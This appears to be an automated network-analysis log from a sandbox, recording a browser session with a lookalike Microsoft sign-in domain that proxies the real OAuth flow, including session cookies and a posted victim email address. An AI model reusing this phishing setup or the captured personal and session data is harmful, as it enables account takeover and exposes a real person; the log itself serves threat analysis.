sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; fpc=Al80S6UF-GNCmXSXQ1iGIMk; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-GZHmj-tS1JVm08kYhWca3pqgpHHkhFLR3ThjcD0DV0bSTyB19sec-iwddoTj8wsfHI0RVGAqvJ07qnFKmN53LqA_h6BMy7rt2RJuA9NHycG6SPzvwSgzTN8U_nx98Azc_RNZrdqWDY-ZUG-ZPBkMZ47KJPi8A9gU85rP_SugMAgAA; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-22 06:24:31 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:31 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:31 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:31 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:31 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 33 30 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:30 GMT
2025-01-22 06:24:31 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:31 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2025-01-22 06:24:31 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:31 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:31 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 06:24:31 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49786	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:32 UTC	774	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: live.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
2025-01-22 06:24:32 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:32 UTC	39	IN	Data Raw: 41 63 63 65 70 74 2d 43 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a Data Ascii: Accept-Ch: Sec-CH-UA-Platform-Version
2025-01-22 06:24:32 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-22 06:24:32 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:32 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:32 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 33 32 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:32 GMT
2025-01-22 06:24:32 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 32 30 20 4a 61 6e 20 32 30 33 35 20 30 36 3a 32 34 3a 33 32 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 20 Jan 2035 06:24:32 GMT
2025-01-22 06:24:32 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:32 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 53 4e 31 50 45 50 46 30 30 30 32 46 31 39 41 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: SN1PEPF0002F19A V: 0
2025-01-22 06:24:32 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:32 UTC	124	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 61 62 62 39 36 36 61 30 32 37 37 31 34 63 64 65 38 38 64 39 35 32 66 31 37 30 64 35 37 65 62 37 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 69 76 65 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=abb966a027714cde88d952f170d57eb7; Path=/; Domain=live.loraintoolsltd.xyz; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49802	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:35 UTC	859	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: live.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; uaid=abb966a027714cde88d952f170d57eb7; MSPRequ=id=N&lt=1737527072&co=1
2025-01-22 06:24:36 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:36 UTC	39	IN	Data Raw: 41 63 63 65 70 74 2d 43 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a Data Ascii: Accept-Ch: Sec-CH-UA-Platform-Version
2025-01-22 06:24:36 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-22 06:24:36 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:36 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 06:24:36 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 33 35 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:35 GMT
2025-01-22 06:24:36 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 32 30 20 4a 61 6e 20 32 30 33 35 20 30 36 3a 32 34 3a 33 35 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 20 Jan 2035 06:24:35 GMT
2025-01-22 06:24:36 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:36 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 50 48 31 50 45 50 46 30 30 30 31 42 38 35 43 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: PH1PEPF0001B85C V: 0
2025-01-22 06:24:36 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:36 UTC	124	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 63 36 62 61 37 38 30 33 37 35 36 63 34 34 65 30 62 35 34 35 38 66 35 34 39 30 38 30 35 65 38 34 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 69 76 65 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=c6ba7803756c44e0b5458f5490805e84; Path=/; Domain=live.loraintoolsltd.xyz; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49780	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:36 UTC	3097	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Content-Length: 1985 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 77d18b3c-29ce-4c4b-a0dd-22e1ac6e4200 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: cb1aab6e-d738-4b4a-ab4d-587742f5ae39 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEyiturYZt_c4Z3TUOuCtyKbMRlclyJJupKlGd90GaRB89llvqBa5OopiTsekEg4BdVEAJ0wmX8LvydVtdDVt0PADlzuqGRl2WGb8m-5Q2W_IFSE3kS-Ao-7ypeapPbEHiuI1qeJCZzY9pqztzHesLtL2Fu5RQyxduebAMch3XlHib2SXoiVPMYtzcdbdG5dPMuvQVnYrB1dDsQQKrwL5k-iAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.loraintoolsltd.xyz Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEoBUtVJjvv_YRU1IFfi-unVAJsNZpS6XUf-CVCnAJjBC7QtzlZSYExBMJmlvZoYOvz_oIO1Hg1ZCWLN800K7ghxMATvvyOj9gHlfvDiryxLIgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEbe6a9gh5UMhAfA4YLJF0Mg2oQpBuAsDl6gItPiH_3wMzFbaRvQQCQObinF_CoSqxUB6GZ9_mszBeBk86p2Kf3Us4XuFviUZbJTStK0qTL6mbx9SCJ0PJ_YvJV35e2HhoFkuV6E6sqDxQdkExM8blmHTLsyKRpI6PcVDlkcDyl7wgAA; esctx-N66YeBmIvkE=AQABCQEAAABVrSpeuWamRam2jAF1XRQERKuhjxvl0Atrbs9PGSpQb2xXEGDUFk81yU-TYP1bl8L8UwOutE-c9ZQYfiKFi-vkCfJtXyRQx_r9NmNN0LjkP_gRmFw_n_GQCtVh0hWk1BGaUGpGdlfZU721fwb_JpQKvdAI5c_AeGqrQ4yoeGG5OyAA; fpc=Al80S6UF-GNCm [TRUNCATED]
2025-01-22 06:24:36 UTC	1985	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 72 6f 66 65 40 62 65 6c 6c 70 6f 74 74 65 72 2e 63 6f 6d 2e 61 75 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 4c 4e 69 2d 4d 45 47 49 65 54 64 71 59 7a 55 39 51 74 71 38 6a 71 61 52 41 50 66 72 58 4e 64 39 4c 42 50 53 53 54 70 47 6e 54 70 4a 4e 70 30 6a 53 39 68 44 5a 66 54 5a 75 76 61 5a 4f 6d Data Ascii: {"username":"jrofe@bellpotter.com.au","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZLNi-MEGIeTdqYzU9Qtq8jqaRAPfrXNd9LBPSSTpGnTpJNp0jS9hDZfTZuvaZOm
2025-01-22 06:24:38 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:38 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:38 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 63 62 31 61 61 62 36 65 2d 64 37 33 38 2d 34 62 34 61 2d 61 62 34 64 2d 35 38 37 37 34 32 66 35 61 65 33 39 0d 0a Data Ascii: Client-Request-Id: cb1aab6e-d738-4b4a-ab4d-587742f5ae39
2025-01-22 06:24:38 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:38 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-22 06:24:38 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:37 GMT
2025-01-22 06:24:38 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:38 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:38 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:38 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49814	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:39 UTC	1588	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEoBUtVJjvv_YRU1IFfi-unVAJsNZpS6XUf-CVCnAJjBC7QtzlZSYExBMJmlvZoYOvz_oIO1Hg1ZCWLN800K7ghxMATvvyOj9gHlfvDiryxLIgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEbe6a9gh5UMhAfA4YLJF0Mg2oQpBuAsDl6gItPiH_3wMzFbaRvQQCQObinF_CoSqxUB6GZ9_mszBeBk86p2Kf3Us4XuFviUZbJTStK0qTL6mbx9SCJ0PJ_YvJV35e2HhoFkuV6E6sqDxQdkExM8blmHTLsyKRpI6PcVDlkcDyl7wgAA; esctx-N66YeBmIvkE=AQABCQEAAABVrSpeuWamRam2jAF1XRQERKuhjxvl0Atrbs9PGSpQb2xXEGDUFk81yU-TYP1bl8L8UwOutE-c9ZQYfiKFi-vkCfJtXyRQx_r9NmNN0LjkP_gRmFw_n_GQCtVh0hWk1BGaUGpGdlfZU721fwb_JpQKvdAI5c_AeGqrQ4yoeGG5OyAA; fpc=Al80S6UF-GNCm [TRUNCATED]
2025-01-22 06:24:39 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:39 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 06:24:39 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:39 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-22 06:24:39 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:38 GMT
2025-01-22 06:24:39 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 06:24:39 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:39 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
